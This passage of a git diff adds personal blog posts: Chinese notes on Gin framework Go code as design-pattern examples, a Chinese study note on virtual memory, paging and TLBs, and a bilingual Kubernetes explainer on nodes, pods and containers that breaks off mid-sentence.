right).Funcs(engine.FuncMap).ParseGlob(pattern)) + + if IsDebugging() { + debugPrintLoadTemplate(templ) + engine.HTMLRender = render.HTMLDebug{Glob: pattern, FuncMap: engine.FuncMap, Delims: engine.delims} + return + } + + engine.SetHTMLTemplate(templ) +} + + + +// LoadHTMLFiles is a wrapper for Engine.LoadHTMLFiles. +// 装饰器 +func LoadHTMLFiles(files ...string) { + engine().LoadHTMLFiles(files...) +} + +// LoadHTMLFiles loads a slice of HTML files +// and associates the result with HTML renderer. +// 被装饰器装饰的方法 +func (engine *Engine) LoadHTMLFiles(files ...string) { + if IsDebugging() { + engine.HTMLRender = render.HTMLDebug{Files: files, FuncMap: engine.FuncMap, Delims: engine.delims} + return + } + + templ := template.Must(template.New("").Delims(engine.delims.Left, engine.delims.Right).Funcs(engine.FuncMap).ParseFiles(files...)) + engine.SetHTMLTemplate(templ) +} + + + +// SetHTMLTemplate is a wrapper for Engine.SetHTMLTemplate. +// 装饰器 +func SetHTMLTemplate(templ *template.Template) { + engine().SetHTMLTemplate(templ) +} + +// SetHTMLTemplate associate a template with HTML renderer. +// 被装饰器装饰的方法 +func (engine *Engine) SetHTMLTemplate(templ *template.Template) { + if len(engine.trees) > 0 { + debugPrintWARNINGSetHTMLTemplate() + } + + engine.HTMLRender = render.HTMLProduction{Template: templ.Funcs(engine.FuncMap)} +} + + + +// NoMethod is a wrapper for Engine.NoMethod. +// 装饰器 +func NoMethod(handlers ...gin.HandlerFunc) { + engine().NoMethod(handlers...) +} + +// NoMethod sets the handlers called when Engine.HandleMethodNotAllowed = true. +// 被装饰器装饰的方法 +func (engine *Engine) NoMethod(handlers ...HandlerFunc) { + engine.noMethod = handlers + engine.rebuild405Handlers() +} + + +``` + +### 5.外观模式 + +##### Example 1 + +**定义:** + +> https://github.com/gin-gonic/gin/blob/master/internal/bytesconv/bytesconv.go + +```go + +package bytesconv + +import ( + "unsafe" +) + +// StringToBytes converts string to byte slice without a memory allocation. +func StringToBytes(s string) []byte { + return *(*[]byte)(unsafe.Pointer( + &struct { + string + Cap int + }{s, len(s)}, + )) +} + +// BytesToString converts byte slice to string without a memory allocation. +func BytesToString(b []byte) string { + return *(*string)(unsafe.Pointer(&b)) +} +``` + +##### Example 2 + +> https://github.com/gin-gonic/gin/blob/master/render/msgpack.go + +**定义:** + +```go +package render + +import ( + "net/http" + // 这是一个高性能、功能丰富的惯用 Go 1.4+ 编解码器/编码库,适用于二进制和文本格式:binc、msgpack、cbor、json 和 simple。在这里是使用了其他的包并进行了封装 + "github.com/ugorji/go/codec" +) +// WriteMsgPack writes MsgPack ContentType and encodes the given interface object. +func WriteMsgPack(w http.ResponseWriter, obj any) error { + writeContentType(w, msgpackContentType) + var mh codec.MsgpackHandle + return codec.NewEncoder(w, &mh).Encode(obj) +} + +``` + +**使用:** + +```go +// WriteContentType (MsgPack) writes MsgPack ContentType. +func (r MsgPack) WriteContentType(w http.ResponseWriter) { + writeContentType(w, msgpackContentType) +} + +// Render (MsgPack) encodes the given interface object and writes data with custom ContentType. +func (r MsgPack) Render(w http.ResponseWriter) error { + return WriteMsgPack(w, r.Data) +} + +``` diff --git a/_posts/2022-11-11-test-markdown.md b/_posts/2022-11-11-test-markdown.md new file mode 100644 index 000000000000..8d76b5b4d54a --- /dev/null +++ b/_posts/2022-11-11-test-markdown.md @@ -0,0 +1,216 @@ +--- +layout: post +title: 虚拟内存管理? +subtitle: 进程拥有独立的虚拟地址,由操作系统负责把虚拟地址映射到真实的物理地址上 +tags: [操作系统] +--- + +## 虚拟内存管理 + +## 引⽤了绝对物理地址会带来冲突 + +单⽚机是没有操作系统的,所以每次写完代码,都需要借助⼯具把程序烧录进去,这样程序才能跑起来。另外,单⽚机的 CPU 是直接操作内存的「物理地址」。在这种情况下,要想在内存中同时运⾏两个程序是不可能的。如果第⼀个程序在 2000 的位置写⼊⼀个新的值,将会擦掉第⼆个程序存放在相同位置上的所有内容,所以同时运⾏两个程序是根本⾏不通的,这两个程序会⽴刻崩溃。 + +### 操作系统是如何解决这个问题呢? + +**进程拥有独立的虚拟地址,由操作系统负责把虚拟地址映射到真实的物理地址上** + +我们可以把进程所使⽤的地址「隔离」开来,即让操作系统为每个进程分配独⽴的⼀套「虚拟地址」,⼈⼈都有,⼤家⾃⼰玩⾃⼰的地址就⾏,互不⼲涉。但是有个前提每个进程都不能访问物理地址,⾄于虚拟地址最终怎么落到物理内存⾥,对进程来说是透明的,操作系统已经把这些都安排的明明⽩⽩了。 +我们程序所使⽤的内存地址叫做虚拟内存地址(Virtual Memory Address) +实际存在硬件⾥⾯的空间地址叫物理内存地址(Physical Memory Address) + +**操作系统通过 MMU 把虚拟地址转化为实际的物理地址。** +操作系统引⼊了虚拟内存,进程持有的虚拟地址会通过 CPU 芯⽚中的内存管理单元(MMU)的映射关系,来转换变成物理地址,然后再通过物理地址访问内存,如下图所示: + +### 操作系统是如何管理虚拟地址与物理地址之间的关系? + +#### Memory Segmentation 内存分段下的映射 + +分段机制下,虚拟地址和物理地址是如何映射的? +程序是由若⼲个逻辑分段组成的,如可由代码分段、数据分段、栈段、堆段组成。不同的段是有不同的属性的,所以就⽤分段(Segmentation)的形式把这些段分离出来。 +分段机制下的虚拟地址由两部分组成,段选择⼦和段内偏移量。 + +- **段选择⼦就保存在段寄存器⾥⾯**。段选择⼦⾥⾯最重要的是段号,⽤作段表的索引。段表⾥⾯保存的是这个段的基地址、段的界限和特权等级等。 +- **虚拟地址中的段内偏移量位于 0 和段界限之间**,如果段内偏移量是合法的,就将段基地址加上段内偏移量得到物理内存地址。 + +具体的做法: +每个虚拟地址,都划分为段选择和段偏移两部分,给出每段的大小,1kb =1024 个字节 1024 个字节的地址范围 1024 转化为二进制 2^10 (2 的 10 次方)(1 00000 00000) + +所以需要 11 位 那么一个两个字节的地址,可以 00000 00000000000 段选择子 5 位, 偏移 11 位 ,根据段选择子找到物理段号,根据物理段号可以找到段基地址 ,段偏移不变。 + + 逻辑段号 段基地址 段界限 + 0 1000 1000 + 1 6000 500 + 2 3000 3000 + 3 7000 1000 + +值得注意的是:虚拟地址也要按照程序的性质分段 ,虚拟地址也是按照不规则的段大小来分段的。 比如代码段大小是 1000 数据段大小 500 堆大小是 3000 栈大小 1000 每个程序分到的段数是固定的。如果是分页,每个程序的分到的总页数不定的。 + +**逻辑段号 ---物理段号---物理段号---物理段号对应的基地址+逻辑段偏移** +**逻辑页号 ---物理页号---物理页号---物理页号\*页大小+逻辑段偏移** +分段的办法很好,解决了程序本身不需要关⼼具体的物理内存地址的问题,但它也有⼀些不⾜之处: + +- 内存碎片 +- 内存交换效率低 + +分段为什么会产⽣内存碎⽚的问题? + +游戏占⽤了 512MB 内存、浏览器占⽤了 128MB 内存、⾳乐占⽤了 256 MB 内存 +这个时候,如果我们关闭了浏览器,则空闲内存还有 1024 - 512 - 256 = 256MB。如果这个 256MB 不是连续的,被分成了两段 128 MB 内存,这就会导致没有空间再打开⼀个 200MB 的程序。 +外部内存碎⽚,也就是产⽣了多个不连续的⼩物理内存,导致新的程序⽆法被装载; +内部内存碎⽚,程序所有的内存都被装载到了物理内存,但是这个程序有部分的内存可能并不是很常使⽤,这也会导致内存的浪费; + +**解决外部内存碎⽚**的问题就是**内存交换**。可以把⾳乐程序占⽤的那 256MB 内存写到硬盘上,然后再从硬盘上读回来到内存⾥。不过再读回的时候,我们不能装载回原来的位置,⽽是紧紧跟着那已经被占⽤了的 512MB 内存后⾯。这样就能空缺出连续的 256MB 空间,于是新的 200MB 程序就可以装载进来。这个内存交换空间,在 Linux 系统⾥,也就是我们常看到的 Swap 空间,这块空间是从硬盘划分出来的,⽤于内存与硬盘的空间交换。 + +分段为什么会导致内存交换效率低的问题? +分段的方式产生内存碎片,因为有内存碎片,需要 Swap ,Swap 频繁的内外存交换。 +对于多进程的系统来说,⽤分段的⽅式,内存碎⽚是很容易产⽣的,产⽣了内存碎⽚,那不得不重新 Swap 内存区域,这个过程会产⽣性能瓶颈。 +为了解决内存分段的**内存碎⽚**和**内存交换效率低**的问题,就出现了内存分⻚ + +#### Memory Segmentation 内存分页下的映射 + +分段的好处就是能产⽣连续的内存空间,但是会出现内存碎⽚和内存交换的空间太⼤的问题。要解决这些问题,那么就要想出能少出现⼀些内存碎⽚的办法。另外,当需要进⾏内存交换的时候,让需要交换写⼊或者从磁盘装载的数据更少⼀点,这样就可以解决问题了。这个办法,也就是内存分⻚(Paging)。分⻚是把整个**虚拟和物理内存**空间切成⼀段段**固定尺⼨**的⼤⼩。这样⼀个连续并且尺⼨固定的内存空间,我们叫⻚(Page)。在 Linux 下,每⼀⻚的⼤⼩为 4KB 。 +内存分页的关键词:“固定的页面大小,不固定的页面个数 ”,那么某个程序如果产生了逻辑内存碎片,那么一定会产生物理内存碎片,但是这个物理内存碎片不会超过一个页面的大小。而且由逻辑地址切割得到的不同的页面,可以映射到不同的物理页面。 +在 Linux 下,每⼀⻚的⼤⼩为 4KB(2^12 次方)也就是页偏移需要 13 个位置(1 0000 0000 0000 ),还有三个位置,111 表示可以分的最大页数不可以超过这个数值。 64 位系统下面 2^(64-13) 表示可以划分的最大页数。 + +**分页维护可变长的页表,分段维护固定长的页表** + +#### MMU 使用页表来把虚拟地址转化为实际的物理地址 + +⻚表是存储在内存⾥的,内存管理单元 (MMU)就做将虚拟内存地址转换成物理地址的⼯作。 + +#### 分⻚是怎么解决分段的内存碎⽚、内存交换效率低的问题? + +- 内存释放以页为单位 + 由于内存空间都是预先划分好的,也就不会像分段会产⽣间隙⾮常⼩的内存,这正是分段会产⽣内存碎⽚的原因。⽽采⽤了分⻚,那么释放的内存都是以⻚为单位释放的,也就不会产⽣⽆法给进程使⽤的⼩内存。 +- 释放(还出)不经常使用的内存页面 + 操作系统会把其他正在运⾏的进程中的「最近没被使⽤」的内存⻚⾯给释放掉。也就是暂时写在硬盘上,称为换出(Swap Out)⼀旦需要的时候,再加载进来,称为换⼊(Swap In)。所以,⼀次性写⼊磁盘的也只有少数的⼀个⻚或者⼏个⻚,不会花太多时间,内存交换的效率就相对⽐较⾼。 +- 换出和换入磁盘每次也仅仅只是几页(Linux 下,每⼀⻚的⼤⼩为 4KB(2^12 次方)) + +在分⻚机制下,虚拟地址分为两部分,⻚号和⻚内偏移。⻚号作为⻚表的索引,⻚表包含物理⻚每⻚所在物理内存的基地址,这个基地址与⻚内偏移的组合就形成了物理内存地址,⻅下图。 + + 逻辑页号 物理页号 物理的基地址 + 0 1000 1000 + 1 6000 500 + 2 3000 3000 + 3 7000 1000 + +总结⼀下,对于⼀个内存地址转换,其实就是这样三个步骤: + +- 把虚拟地址切分成页号 和逻辑偏移量 +- 逻辑页号- 物理页号- 物理的基础地址+逻辑偏移 + +#### 分⻚有什么缺陷吗? + +- **每一页的内存很小,导致虚拟内存切割后得到的页数很多,页数很多,那么需要更多的字节来存储,每一个页都需要这个一个存储的字节,导致需要很多字节来存储。** + +**每个进程实际划分得到的页数** +**整个虚拟地址对应的页数 需要 x 字节来存储,比如 4GB 被划分为 2 ^20 次方个页,0 ~ 2^20 次方这个需要 4 个字节来存储** +**每个虚拟页都需要这 4 个字节** +**实际进程的页数 乘以 4 乘以 实际进程得到的页数=总的需要的字节** +因为操作系统是可以同时运⾏⾮常多的进程的,每页面的大小又很小那这不就意味着⻚表会⾮常的庞⼤。在 32 位的环境下,虚拟地址空间共有 4GB,假设⼀个⻚的⼤⼩是 4KB(2^12),那么就需要⼤约 100 万 (2^20) 个⻚,每个「⻚表项」需要 4 个字节⼤⼩来存储,那么整个 4GB 空间的映射就需要有 4MB 的内存来存储⻚表。这 4MB ⼤⼩的⻚表,看起来也不是很⼤。但是要知道每个进程都是有⾃⼰的虚拟地址空间的,也就说都有⾃⼰的⻚表那么, 100 个进程的话,就需要 400MB 的内存来存储⻚表,这是⾮常⼤的内存了,更别说 64 位的环境了。 + +我们把这个 100 多万个「⻚表项」的单级⻚表再分⻚,将⻚表(⼀级⻚表)分为 1024 个⻚表(⼆级⻚表),每个表(⼆级⻚表)中包含 1024 个「⻚表项」,形成⼆级分⻚。如下图 +拿出 10 位 (这 10 位足够代表 1024 个页面) 再拿出 10 位(这 10 也足够代表 1024 个页面) 那么如何巧用这两张表表示更大的页数量 + +分了⼆级表,映射 4GB 地址空间就需要 4KB(⼀级⻚表)+ 4MB(⼆级⻚表)的内存,这样占⽤空间不是更⼤了吗 +其实我们应该换个⻆度来看问题,还记得计算机组成原理⾥⾯⽆处不在的局部性原理么? +每个进程都有 4GB 的虚拟地址空间,⽽显然对于⼤多数程序来说,其使⽤到的空间远未达到 4GB,因为会存在部分对应的⻚表项都是空的,根本没有分配,对于已分配的⻚表项,如果存在最近⼀定时间未访问的⻚表,在物理内存紧张的情况下,操作系统会将⻚⾯换出到硬盘,也就是说不会占⽤物理内存。如果使⽤了⼆级分⻚,⼀级⻚表就可以覆盖整个 4GB 虚拟地址空间,但如果某个⼀级⻚表的⻚表项没有被⽤到,也就不需要创建这个⻚表项对应的⼆级⻚表了,即可以在需要时才创建⼆级⻚表。做个简单的计算,假设只有 20% 的⼀级⻚表项被⽤到了,那么⻚表占⽤的内存空间就只有 4KB(⼀级⻚表) + 20% \* 4MB(⼆级⻚表)= 0.804MB ,这对⽐单级⻚表的 4MB 是不是⼀个巨⼤的节约? +那么为什么不分级的⻚表就做不到这样节约内存呢? +我们从⻚表的性质来看,保存在内存中的⻚表承担的职责是将虚拟地址翻译成物理地址。假如虚拟地址在⻚表中找不到对应的⻚表 +项,计算机系统就不能⼯作了。所以⻚表⼀定要覆盖全部虚拟地址空间,不分级的⻚表就需要有 100 多万个⻚表项来映射,⽽⼆级分⻚则只需要 1024 个⻚表项(此时⼀级⻚表覆盖到了全部虚拟地址空间,⼆级⻚表在需要时创建)。 +我们把⼆级分⻚再推⼴到多级⻚表,就会发现⻚表占⽤的内存空间更少了,这⼀切都要归功 +于对局部性原理的充分应⽤。对于 64 位的系统,两级分⻚肯定不够了,就变成了四级⽬录,分别是: +全局⻚⽬录项 PGD(Page Global Directory); +上层⻚⽬录项 PUD(Page Upper Directory); +中间⻚⽬录项 PMD(Page Middle Directory); +⻚表项 PTE(Page Table Entry) + +**TLB** CPU 里面的缓存 +**MMU 通过 TLB(一个在内存中间的缓存)来把逻辑地址转化为物理地址** +多级⻚表虽然解决了空间上的问题,但是虚拟地址到物理地址的转换就多了⼏道转换的⼯序,这显然就降低了这俩地址转换的速度,也就是带来了时间上的开销。程序是有局部性的,即在⼀段时间内,整个程序的执⾏仅限于程序中的某⼀部分。相应地, +执⾏所访问的存储空间也局限于某个内存区域.我们就可以利⽤这⼀特性,把最常访问的⼏个⻚表项存储到访问速度更快的硬件,于是计算机科学家们,就在 CPU 芯⽚中,加⼊了⼀个专⻔存放程序最常访问的⻚表项的 Cache,这个 Cache 就是 TLB(Translation Lookaside Buffer) ,通常称为⻚表缓存、转址旁路缓存、快表等。 +在 CPU 芯⽚⾥⾯,封装了内存管理单元(Memory Management Unit)芯⽚,它⽤来完成地 +址转换和 TLB 的访问与交互。有了 TLB 后,那么 CPU 在寻址时,会先查 TLB,如果没找到,才会继续查常规的⻚表。TLB 的命中率其实是很⾼的,因为程序最常访问的⻚就那么⼏个。 + +段⻚式内存管理实现的⽅式: + +- 先将程序划分为多个有逻辑意义的段,也就是前⾯提到的分段机制; +- 接着再把每个段划分为多个⻚,也就是对分段划分出来的连续空间,再划分固定⼤⼩的⻚; + 这样,地址结构就由段号、段内⻚号和⻚内位移三部分组成。⽤于段⻚式地址变换的数据结构是每⼀个程序⼀张段表,每个段⼜建⽴⼀张⻚表,段表中的地址是⻚表的起始地址,⽽⻚表中的地址则为某⻚的物理⻚号,如图所示: + **段⻚式内存管理** + 内存分段和内存分⻚并不是对⽴的,它们是可以组合起来在同⼀个系统中使⽤的,那么组合起来后,通常称为段⻚式内存管理 + +段⻚式地址变换中要得到物理地址须经过三次内存访问: + +- 第⼀次访问段表,得到⻚表起始地址; +- 第⼆次访问⻚表,得到物理⻚号; +- 第三次将物理⻚号与⻚内位移组合,得到物理地址。 + 可⽤软、硬件相结合的⽅法实现段⻚式地址变换,这样虽然增加了硬件成本和系统开销,但提⾼了内存的利⽤率。 + +### Linux 内存管理 + +那么,Linux 操作系统采⽤了哪种⽅式来管理内存呢? +在回答这个问题前,我们得先看看 Intel 处理器的发展历史。 +早期 Intel 的处理器从 80286 开始使⽤的是段式内存管理。但是很快发现,光有段式内存管理⽽没有⻚式内存管理是不够的,这会使它的 X86 系列会失去市场的竞争⼒。因此,在不久以后的 80386 中就实现了对⻚式内存管理。也就是说,80386 除了完成并完善从 80286 开始的段式内存管理的同时还实现了⻚式内存管理。但是这个 80386 的⻚式内存管理设计时,没有绕开段式内存管理,⽽是建⽴在段式内存管理的基础上,这就意味着,⻚式内存管理的作⽤是在由**段式内存管理所映射⽽成的地址上再加上⼀层地址映射。** +由于此时由段式内存管理映射⽽成的地址不再是“物理地址”了,Intel 就称之为“线性地址”(也称虚拟地址)。于是,段式内存管理先将逻辑地址映射成线性地址,然后再由⻚式内存管理将线性地址映射成物理地址。 + +这⾥说明下逻辑地址和线性地址: + +- 程序所使⽤的地址,通常是没被段式内存管理映射的地址,称为逻辑地址; +- 通过段式内存管理映射的地址,称为线性地址,也叫虚拟地址; +- 逻辑地址是「段式内存管理」转换前的地址 +- 线性地址则是「⻚式内存管理」转换前的地址。 + +Linux 内存主要采⽤的是⻚式内存管理,但同时也不可避免地涉及了段机制。 +这主要是上⾯ Intel 处理器发展历史导致的,因为 Intel X86 CPU ⼀律对程序中使⽤的地址先进⾏段式映射,然后才能进⾏⻚式映射。既然 CPU 的硬件结构是这样,Linux 内核也只好服从 Intel 的选择。 +但是事实上,Linux 内核所采取的办法是使段式映射的过程实际上不起什么作⽤。也就是说,“上有政策,下有对策”,若惹不起就躲着⾛.Linux 系统中的每个段都是从 0 地址开始的整个 4GB 虚拟空间(32 位环境下),也就是所有的段的起始地址都是⼀样的。这意味着,Linux 系统中的代码,包括操作系统本身的代码和应⽤程序代码,所⾯对的地址空间都是线性地址空间(虚拟地址),这种做法相当于屏蔽了处理器中的逻辑地址概念,段只被⽤于访问控制和内存保护。 + +在 Linux 操作系统中,虚拟地址空间的内部⼜被分为内核空间和⽤户空间两部分,不同位数的系统,地址空间的范围也不同。⽐如最常⻅的 32 位和 64 位系统, +32 位系统的内核空间占⽤ 1G ,位于最⾼处,剩下的 3G 是⽤户空间; +64 位系统的内核空间和⽤户空间都是 128T ,分别占据整个内存空间的最⾼和最低处,剩下的中间部分是未定义的。再来说说,内核空间与⽤户空间的区别: + +- 进程在⽤户态时,只能访问⽤户空间内存; +- 只有进⼊内核态后,才可以访问内核空间的内存; + 虽然每个进程都各⾃有独⽴的虚拟内存,但是每个虚拟内存中的内核地址,其实关联的都是相同的物理内存。这样,进程切换到内核态后,就可以很⽅便地访问内核空间内存。 + +⽤户空间内存,从低到⾼分别是 7 种不同的内存段: + +- 程序⽂件段,包括⼆进制可执⾏代码; +- 已初始化数据段,包括静态常量; +- 未初始化数据段,包括未初始化的静态变量; +- 堆段,包括动态分配的内存,从低地址开始向上增⻓; +- ⽂件映射段,包括动态库、共享内存等,从低地址开始向上增⻓(跟硬件和内核版本有关); +- 栈段,包括局部变量和函数调⽤的上下⽂等。栈的⼤⼩是固定的,⼀般是 8 MB 。当然系统也提供了参数,以便我们⾃定义⼤⼩; + 在这 7 个内存段中,堆和⽂件映射段的内存是动态分配的。⽐如说,使⽤ C 标准库的 malloc() 或者 mmap() ,就可以分别在堆和⽂件映射段动态分配内存。 + +### 一条 Load 指令的执行过程: + +1. 在 CPU ⾥访问⼀条 Load M 指令,然后 CPU 会去找 M 所对应的⻚表项。 +2. 如果该⻚表项的状态位是「有效的」,那 CPU 就可以直接去访问物理内存了,如果状态位是「⽆效的」,则 CPU 则会发送缺⻚中断请求。 +3. 操作系统收到了缺⻚中断,则会执⾏缺⻚中断处理函数,先会查找该⻚⾯在磁盘中的⻚⾯的位置。 +4. 找到磁盘中对应的⻚⾯后,需要把该⻚⾯换⼊到物理内存中,但是在换⼊前,需要在物理内存中找空闲⻚,如果找到空闲⻚,就把⻚⾯换⼊到物理内存中。 +5. ⻚⾯从磁盘换⼊到物理内存完成后,则把⻚表项中的状态位修改为「有效的」。 +6. 最后,CPU 重新执⾏导致缺⻚异常的指令。 + ⻚表项通常有如下图的字段: + 页号 物理页号 状态位 访问字段 修改位 硬盘地址 + +- 状态位:⽤于表示该⻚是否有效,也就是说是否在物理内存中,供程序访问时参考 +- ⽤于记录该⻚在⼀段时间被访问的次数,供⻚⾯置换算法选择出⻚⾯时参考 +- 修改位:表示该⻚在调⼊内存后是否有被修改过,由于内存中的每⼀⻚都在磁盘上保留⼀份副本,因此,如果没有修改,在置换该⻚时就不需要将该⻚写回到磁盘上以减少系统的开销;如果已经被修改,则将该⻚重写到磁盘上,以保证磁盘中所保留的始终是最新的副本。 + +- 硬盘地址:⽤于指出该⻚在硬盘上的地址,通常是物理块号,供调⼊该⻚时使⽤。 + 总结一下: 需要记录的信息有:1.是否在内存、(如果不在内存)2.在硬盘中间的地址、3.该资源被加载在内存之后是否被修改(如果被修改则需要记录并在操作结束之后返回把修改后的数据写入到硬盘)、4,该资源被调入内存多少次数(用来记录资源的使用率,便于当内存满了的时候,从中不经常使用的资源,并把该资源所占用的内存的位置腾出来) + +### 总结: + +- 操作系统为每个进程分配独立且一样的虚拟地址空间。(一样的虚拟地址映射到不同的物理地址) +- 当进程很多,物理内存不够用时,通过**内存交换技术**把不经常用的内存放到硬盘里(换出),需要的时候(换入) +- 虚拟地址的映射由 MMU 来完成,具体的方式由两种 (分段)和(分页) +- 分段 是根据程序的特性把代码分成不同大小的属性段 同时每段是连续的内存空间,虚拟地址拥有固定的段数,段大小不定 ,正是因为每段的大小不一定,导致了内存碎片问题和内存交换效率低的问题。 +- 分页 是把虚拟地址空间大小和物理空间大小分成了相同大小的页面。在 Linux 系统,每一页的大小是 4KB 由于分了页,不会产生内存碎片,并且换入和换出也仅仅是几页的事情。 +- 为了解决分页带来的:页表太大的问题,有多级页表,解决了空间上的问题,但是 CPU 在寻址的过程,有很大的时间开销,那么在 CPU 中间设置了一个缓存, 是 TLB 缓存最长被访问的页表项。 + +Linux 系统主要采⽤了分⻚管理,但是由于 Intel 处理器的发展史,Linux 系统⽆法避免分段管理。于是 Linux 就把所有段的基地址设为 0 ,也就意味着所有程序的地址空间都是线性地址空间(虚拟地址),相当于屏蔽了 CPU 逻辑地址的概念,所以段只被⽤于访问控制和内存保护。 + +另外,Linxu 系统中虚拟空间分布可分为⽤户态和内核态两部分,其中⽤户态的分布:代码段、全局变量、BSS、函数栈、堆内存、映射区。 diff --git a/_posts/2022-11-12-test-markdown.md b/_posts/2022-11-12-test-markdown.md new file mode 100644 index 000000000000..8bfd9054cdae --- /dev/null +++ b/_posts/2022-11-12-test-markdown.md @@ -0,0 +1,118 @@ +--- +layout: post +title: Pods, Nodes, Containers, and Clusters? +subtitle: +tags: [Professional English Course Presitation] +--- + +# Pods, Nodes, Containers, and Clusters + +Kubernetes is quickly becoming the new standard for deploying and managing software in the cloud. With all the power Kubernetes provides, however, comes a steep learning curve. As a newcomer, trying to parse the can be overwhelming. There are many different pieces that make up the system, and it can be hard to tell which ones are relevant for your use case. This blog post will provide a simplified view of Kubernetes, but it will attempt to give a high-level overview of the most important components and how they fit together. + +First, lets look at how hardware is represented + +Kubernetes 正迅速成为在云中部署和管理软件的新标准。然而,Kubernetes 提供的所有功能带来了陡峭的学习曲线。作为一个新手,尝试解析可能会让人不知所措。系统由许多不同的部分组成,很难判断哪些部分与您的用例相关。这篇博文将提供 Kubernetes 的简化视图,但它将尝试对最重要的组件以及它们如何组合在一起进行高级概述。 + +首先,让我们看看硬件是如何表示的 + +## Nodes + +![img](https://miro.medium.com/max/630/1*uyMd-QxYaOk_APwtuScsOg.png) + +A node is the smallest unit of computing hardware in Kubernetes. It is a representation of a single machine in your cluster. In most production systems, a node will likely be either a physical machine in a datacenter, or virtual machine hosted on a cloud provider like Google Cloud Platform Don’t let conventions limit you, however; in theory, you can make a node out of almost anything + +节点 是 Kubernetes 中计算硬件的最小单位。它是集群中单台机器的表示。在大多数生产系统中,节点可能是数据中心中的物理机,或者是托管在像 Google Cloud Platform 这样的云提供商上的虚拟机。但是,不要让约定限制您;理论上,几乎可以用任何东西制作一个节点。 + +Thinking of a machine as a “node” allows us to insert a layer of abstraction. Now, instead of worrying about the unique characteristics of any individual machine, we can instead simply view each machine as a set of CPU and RAM resources that can be utilized. In this way, any machine can substitute any other machine in a Kubernetes cluster. + +将机器视为“节点”允许我们插入一个抽象层。现在,我们不必担心任何单个机器的独特特性,而是可以简单地将每台机器视为一组可以利用的 CPU 和 RAM 资源。这样,任何机器都可以替代 Kubernetes 集群中的任何其他机器。 + +## The Cluster + +![img](https://miro.medium.com/max/630/1*KoMzLETQeN-c63x7xzSKPw.png) + +Although working with individual nodes can be useful, it’s not the Kubernetes way. In general, you should think about the cluster as a whole, instead of worrying about the state of individual nodes. + +尽管使用单个节点可能很有用,但这不是 Kubernetes 的方式。一般来说,您应该将集群视为一个整体,而不是担心各个节点的状态。 + +In Kubernetes, nodes pool together their resources to form a more powerful machine. When you deploy programs onto the cluster, it intelligently handles distributing work to the individual nodes for you. If any nodes are added or removed, the cluster will shift around work as necessary. It shouldn’t matter to the program, or the programmer, which individual machines are actually running the code. + +在 Kubernetes 中,节点将它们的资源汇集在一起,形成更强大的机器。当您将程序部署到集群上时,它会智能地为您将工作分配到各个节点。如果添加或删除任何节点,集群将根据需要转移工作。对于程序或程序员来说,哪些机器实际运行代码应该无关紧要。 + +## Persistent Volumes + +Because programs running on your cluster aren’t guaranteed to run on a specific node, data can’t be saved to any arbitrary place in the file system. If a program tries to save data to a file for later, but is then relocated onto a new node, the file will no longer be where the program expects it to be. For this reason, the traditional local storage associated to each node is treated as a temporary cache to hold programs, but any data saved locally can not be expected to persist. + +因为集群上运行的程序不能保证在特定节点上运行,所以数据不能保存到文件系统中的任意位置。如果程序试图将数据保存到文件中以备后用,但随后被重新定位到新节点,则该文件将不再位于程序期望的位置。因此,传统的与每个节点关联的本地存储被视为临时缓存来保存程序,但任何保存在本地的数据都不能指望持久化。 + +![img](https://miro.medium.com/max/630/1*kF57zE9a5YCzhILHdmuRvQ.png) + +To store data permanently, Kubernetes uses Persistent Volumes While the CPU and RAM resources of all nodes are effectively pooled and managed by the cluster, persistent file storage is not. Instead, local or cloud drives can be attached to the cluster as a Persistent Volume. This can be thought of as plugging an external hard drive in to the cluster. Persistent Volumes provide a file system that can be mounted to the cluster, without being associated with any particular node. + +为了永久存储数据,Kubernetes 使用 Persistent Volumes 虽然所有节点的 CPU 和 RAM 资源都由集群有效地汇集和管理,但持久性文件存储却不是。相反,本地或云驱动器可以作为持久卷附加到集群。这可以被认为是将外部硬盘驱动器插入集群。持久卷提供了一个可以挂载到集群的文件系统,而不与任何特定节点相关联。 + +# Software + +## Containers + +![img](https://miro.medium.com/max/630/1*ILinzzMdnD5oQ6Tu2bfBgQ.png) + +Programs running on Kubernetes are packaged as **Linux containers** Containers are a widely accepted standard, so there are already many pre-built images that can be deployed on Kubernetes. + +在 Kubernetes 上运行的程序被打包为**Linux 容器**容器是一种被广泛接受的标准,因此已经有很多预构建的镜像可以部署在 Kubernetes 上。 + +Containerization allows you to create self-contained Linux execution environments. Any program and all its dependencies can be bundled up into a single file and then shared on the internet. Anyone can download the container and deploy it on their infrastructure with very little setup required. + +容器化允许您创建自包含的 Linux 执行环境。任何程序及其所有依赖项都可以捆绑到一个文件中,然后在 Internet 上共享。任何人都可以下载容器并将其部署在他们的基础设施上,只需很少的设置。 + +Multiple programs can be added into a single container, but you should limit yourself to one process per container if at all possible. It’s better to have many small containers than one large one. If each container has a tight focus, updates are easier to deploy and issues are easier to diagnose. + +可以将多个程序添加到单个容器中,但如果可能的话,您应该将自己限制为每个容器一个进程。拥有多个小容器总比拥有一个大容器好。如果每个容器都有一个紧密的关注点,更新更容易部署,问题也更容易诊断。 + +## Pods + +![img](https://miro.medium.com/max/630/1*8OD0MgDNu3Csq0tGpS8Obg.png) + +Unlike other systems you may have used in the past, Kubernetes doesn’t run containers directly; instead it wraps one or more containers into a higher-level structure called a [pod](https://kubernetes.io/docs/concepts/workloads/pods/pod/). Any containers in the same pod will share the same resources and local network. Containers can easily communicate with other containers in the same pod as though they were on the same machine while maintaining a degree of isolation from others. + +与您过去可能使用过的其他系统不同,Kubernetes 不直接运行容器。相反,它将一个或多个容器包装到称为 pod 的更高级别的结构中。同一个 pod 中的任何容器都将共享相同的资源和本地网络。容器可以轻松地与同一个 pod 中的其他容器进行通信,就像它们在同一台机器上一样,同时保持与其他容器的一定程度的隔离。 + +Pods are used as the unit of replication in Kubernetes. If your application becomes too popular and a single pod instance can’t carry the load, Kubernetes can be configured to deploy new replicas of your pod to the cluster as necessary. Even when not under heavy load, it is standard to have multiple copies of a pod running at any time in a production system to allow load balancing and failure resistance. + +Pod 被用作 Kubernetes 中的复制单元。如果您的应用程序变得过于流行并且单个 pod 实例无法承载负载,则可以将 Kubernetes 配置为根据需要将您的 pod 的新副本部署到集群中。即使不是在重负载下,在生产系统中随时运行多个 Pod 副本也是标准的,以实现负载平衡和抗故障。 + +Pods can hold multiple containers, but you should limit yourself when possible. Because pods are scaled up and down as a unit, all containers in a pod must scale together, regardless of their individual needs. This leads to wasted resources and an expensive bill. To resolve this, pods should remain as small as possible, typically holding only a main process and its tightly-coupled helper containers (these helper containers are typically referred to as “side-cars”). + +Pod 可以容纳多个容器,但您应该尽可能限制自己。由于 pod 是作为一个单元进行扩展和缩减的,因此 pod 